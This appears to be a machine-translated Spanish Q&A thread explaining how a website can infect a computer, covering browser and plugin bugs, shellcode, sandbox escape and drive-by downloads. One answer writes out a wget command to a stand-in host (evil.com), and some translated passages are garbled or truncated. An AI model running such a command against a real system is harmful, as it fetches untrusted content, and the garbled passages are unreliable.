Posible duplicado:
¿Puede una computadora ser infectada por malware a través del navegador web?
Es de conocimiento común que puede contraer un virus simplemente visitando un sitio web. ¿ Pero cómo es esto posible?
¿Estos virus atacan a los usuarios de Windows, Mac y Linux, o son inmunes los usuarios de Mac / Linux?
Entiendo que obviamente puedo obtener un virus descargando y ejecutando un .exe en Windows, pero ¿cómo puedo obtener un virus simplemente accediendo a un sitio web?
¿Los virus están programados en JavaScript? (Tendría sentido ya que es un lenguaje de programación que se ejecuta localmente). Si es así, ¿qué funciones de JavaScript son las que se usan comúnmente?
Respuestas:
Ejemplos en parens. Hay un error en el navegador (IE), el intérprete de JavaScript o en un complemento (como flash o java). Este error conduce a la ejecución del código; esa parte puede ser realmente complicada, pero a menudo implica una manipulación de errores y montón de uso libre .
Luego tengo un shellcode funcionando. El shellcode debe escapar de cualquier protección que tenga el navegador: para un error de V8 / Chrome tendrías que escapar del sandbox de Chrome y derrotar a DEP y ASLR. Para IE, tendrías que vencer a DEP y ASLR y luego salir del modo de baja integridad. Para Java tendrías que ... no hacer nada: eres todo dorado. (Es por eso que ha habido una serie de errores de Java).
Entonces, ahora que tengo código arbitrario ejecutándose en su máquina, como usted (no se está ejecutando como administrador, ¿no?), Puedo descargar un archivo de Internet y ejecutarlo, dejando caer algún malware en su máquina.
Específicamente - no. Javascript es un vector de ataque que la gente usará para encontrar un error en un navegador. También podrían usar Flash, Java o Silverlight como un vector de ataque. En el caso de javascript, escriben javascript para activar el error del navegador, y luego el virus finalmente se elimina de Internet.
fuente
Desafortunadamente y perversamente, esto puede suceder de varias maneras.
Tiene toda la razón en sorprenderse de que un "dispositivo de lectura" como un navegador pueda manipular activamente su propio sistema (y dañarlo). Leer un libro no agota su cuenta bancaria y abrir un periódico no perjudica a sus hijos, entonces, ¿por qué abrir un sitio web puede hacer todo eso y más?
El problema se produce siempre que existe la posibilidad de que los datos extranjeros de Internet, que siempre debemos suponer que están diseñados con la mayor intención maliciosa, de alguna manera logran ser ejecutados por su sistema.
Si solo se sienta en la línea de comando y escribe
wget http://evil.com/hitme.php
, el cliente HTTP wget simplemente escribirá un volcado binario de la solicitud en su disco y no habrá sucedido nada malo (aparte de que tal vez su disco se esté llenando). Pero si escribe la dirección en su navegador, su navegador es libre de hacer lo que quiera : formatear su disco duro, enviar los detalles de su tarjeta de crédito, etc. Depende de usted confiar en su navegador para no hacer eso. De hecho, la mayoría de los navegadores intentan no hacer esas cosas malas, pero nosotros, los usuarios deovejas, hemos exigido que los navegadores puedan hacer cada vez más "trucos inteligentes" y exhibir un comportamiento automático basado en las instrucciones de Internet.. Nuestras demandas han llevado a la creación de tecnologías de ejecución de código del lado del cliente como JavaScript y Flash, que descargan código malicioso, extraño, no confiable y arbitrario y lo ejecutan, todo para nuestro placer.La razón por la que las personas que idearon esas tecnologías no fueron linchadas de inmediato es porque a) hizo que los conejos bailaran en nuestras pantallas, yb) afirmaron que pusieron suficientes controles de seguridad en el diseño para evitar la manipulación del código malicioso arbitrario el sistema local (por ejemplo, no permite leer / escribir los discos locales, leer / escribir el portapapeles, leer / escribir campos de formulario en otras pestañas).
Desafortunadamente, el enfoque de diseño para "primero permitir todo y luego cubrir de manera irregular algunos puntos negativos en los que podemos pensar" es fundamentalmente defectuoso, y ahora nos enfrentamos a un flujo interminable de nuevas formas en las que nuestras funciones de conveniencia del lado del cliente pueden ser utilizado para comprometer nuestros sistemas.
La única salida moderadamente segura es deshabilitar JavaScript y complementos en su navegador. A salvo como estábamos en 1995.
fuente
El punto que realmente se ha eludido en estas respuestas, que realmente quiero vencer a casa, es esta: la razón por la que puede obtener un virus de una página web es que algún software que está ejecutando tiene un error, una vulnerabilidad de seguridad .
En cada paso del proceso de creación del software, los creadores de Flash; de su navegador; de su sistema operativo han tratado de asegurarse de que el código aleatorio y malicioso de Internet no pueda encontrar una manera de ejecutarse. Desafortunadamente, hacer esto es difícil . Muy duro .
Entonces, como todos los humanos, los desarrolladores de este software están obligados a cometer errores: el analizador HTML sobrescribe accidentalmente un byte en la pila cuando finaliza el html
</p
. Usaron accidentalmente un ensigned int
lugar de ununsigned int
. El compilador JIT de JavaScript intenta accidentalmente desreferenciar un índice de matriz en un puntero nulo. Todas estas vulnerabilidades, además de millones más, ocurren todo el tiempo en el software, ya sea por falta de conocimiento de seguridad, por un descuido o incluso por un simple error. El software es simplemente manera demasiado compleja para atraparlos a todos.Debido a esto, los sistemas operativos tienen mecanismos incorporados para evitar daños al sistema, incluso cuando se encuentra una vulnerabilidad. Su sistema operativo probablemente tenga DEP y ASLR . Los programas pueden tener varias protecciones agregadas por el compilador. Los navegadores funcionan con privilegios más bajos. Los programas se ejecutan mediante análisis y pruebas automáticas que pueden detectar muchas de estas vulnerabilidades.
Mi punto es que nadie permite que esto suceda, pero es imposible diseñar un software completamente seguro, al igual que es imposible diseñar una caja fuerte completamente segura. Alguien con suficiente tiempo, conocimiento, dinero e incentivos siempre encontrará una manera de abrirlo. Y el problema con esta caja fuerte es que, una vez que algunos piratas informáticos abren su copia, pueden abrir fácilmente otras copias en todo el mundo sin salir de su habitación.
fuente
Sus preguntas específicas
Su navegador está ejecutando código todo el tiempo (está hecho de código). Cuando descarga páginas web, ese código se descarga y muestra datos arbitrarios (píxeles, caracteres, etc.).
El código también son datos (a nivel de procesador).
Dado que el código son datos, si su navegador intenta ejecutar los datos (sin importar la extensión o el formato del archivo), en realidad podría ejecutarse (si está diseñado correctamente).
Normalmente su navegador no será tan tonto como para intentar ejecutar datos aleatorios que descargó. Sin embargo, esto puede suceder.
Una forma de hacer esto es formar los datos de tal manera que cuando se lean, se "filtren" y sobrescriban los datos que conforman el programa ejecutable del navegador. Esto requiere que el navegador tenga un error (más comúnmente en este caso, lo que permite un desbordamiento del búfer ).
Su navegador también ejecuta programas en la parte superior de las páginas web. Javascript, como mencionó, es uno de esos tipos de código. Pero hay docenas. ActiveX, Flash, complementos, scripts de grease monkey, etc. son todos códigos que está ejecutando mientras visita páginas web. Este código puede contener errores que causan fallas de seguridad.
Ninguna plataforma que usamos es completamente inmune a los errores, porque todos usan procesadores que tratan los datos como código. Así es simplemente cómo funciona nuestra arquitectura informática existente.
La razón de este mito es que Mac y Linux tienen tasas de adopción mucho más bajas en comparación con las máquinas con Windows (en el nivel de escritorio). Por lo tanto, el software de escritorio en estas máquinas no es un objetivo tan común para los creadores de virus.
Los virus no ocurren por magia, o por evolución de la posición de suceso (como lo hacen los virus biológicos). Es un software escrito por individuos o equipos de desarrolladores. Y quieren apuntar a la mayor participación de mercado, de la misma manera que lo hacen los vendedores de software habituales.
En cuanto a si un virus puede apuntar a múltiples plataformas; Todos los navegadores están ejecutando diferentes códigos, por lo que tendrán diferentes errores (incluso el mismo navegador en diferentes plataformas). Pero hay algunas bibliotecas de códigos que se comparten entre plataformas. Si dicha biblioteca contiene el error, es posible que el exploit pueda existir en múltiples plataformas.
Pero, dependiendo del tipo de ataque realizado, un virus escrito para una Mac que no sea Intel podría no funcionar en una Mac con Intel, y viceversa, porque tienen procesadores diferentes. Para diferentes procesadores, los datos que representan el código tienen un formato diferente.
Sin embargo, cuando habla de una máquina virtual o un lenguaje de secuencias de comandos, los ataques pueden ser independientes de la plataforma. Eso nos lleva a la siguiente pregunta ...
Algunos virus son. La información que indiqué anteriormente (sobre exploits de desbordamiento de búfer) generalmente se usaría como un ataque fuera de Javascript, pero podría aplicarse igualmente a un virus diseñado para atacar un exploit en un intérprete de Javascript.
Javascript también tendrá su propio conjunto de exploits, a un nivel operativo que está por encima de los desbordamientos del búfer. Hay muchas maneras de atacar cualquier pieza de software. Cuanto más grande es el software (líneas de código), más variedades de entrada del usuario (en este caso, tipos de código) es probable que reciba y más errores puede contener.
Además, cuanto más expuesto es un software en ejecución (por ejemplo, un software que ejecuta un servidor), más vulnerable es al ataque.
En general, esto se llama superficie de ataque
Explotaciones en general
Microsoft tiene una mnemónica para los tipos de exploits comunes, y todos tienen sus propias propiedades interesantes y diferentes niveles de software que pueden atacar: STRIDE , que significa:
Es más probable que algunos de estos se usen en un ataque basado en Javascript que otros, algunos en servidores, algunos en archivos de datos (como imágenes).
Pero la seguridad es un campo grande y en evolución. Realmente hay demasiada información para responder completamente a todas sus preguntas.
fuente
El término se llama "Drive By Download"
Aquí hay un buen ejemplo de cómo sucede sin que hagas nada más que visitar un sitio web.
fuente
El truco es que los creadores de virus / expertos en seguridad encuentran lagunas en los navegadores. En palabras simples, encuentran un agujero en la seguridad del navegador y pueden usar este agujero para hacer algo a su sistema. Hay casos en que Adobe Flash tenía agujeros y con un código específico podría explotarse. También hay cadenas de JavaScript que pueden desencadenar estos agujeros de seguridad.
Sin embargo, si mantiene actualizado su navegador, es muy poco probable que se infecte con solo visitar un sitio web (¡descargar archivos y ejecutarlos es otra historia!)
fuente
Los virus como los que lo infectan al visitar un sitio web explotan una falla en el sistema de visitas. Por ejemplo, un navegador o un complemento puede tener una falla en su programación, por lo que se puede permitir que una imagen (accidentalmente, desde la perspectiva del desarrollador del navegador) ejecute un comando arbitrario en la computadora visitante.
Como tal, supuestamente cada sistema operativo es una víctima potencial, pero los creadores de virus generalmente enmarcan sus ataques en función de las economías de escala: cuantos más usuarios, mejor. Es por eso que Windows e Internet Explorer son los objetivos más frecuentes.
Cualquier parte de un navegador o complemento puede ser objetivo de un virus. La imagen mencionada que causó un virus fue un ejemplo real. Flash es un objetivo común. El motor de JavaScript en los navegadores también lo es. Hay muchas cosas diferentes que pueden salir mal.
Su mejor opción es ejecutar un escáner de virus de calidad. Usé NOD32 de Eset . Además, no hagas clic en algo si es demasiado bueno para ser verdad. Use NoScript en Firefox y AdBlock .
fuente
Si un sitio web se las arregla para romper la seguridad de su navegador, podría lodo con cualquier cosa que le pertenece a usted en el equipo. Sin embargo, si puede escalar sus privilegios y obtener acceso administrativo, podría arruinar cualquier cosa en el sistema.
Se ha sostenido durante mucho tiempo que es más difícil obtener privilegios administrativos en una máquina Unix (por ejemplo, Linux, Mac o BSD) que en Windows. Sin embargo, la reciente actualización (a partir de Windows Vista) de las características de seguridad de Microsoft puede haber hecho que Windows sea mucho más seguro que antes, o al menos, eso es lo que ellos creen.
fuente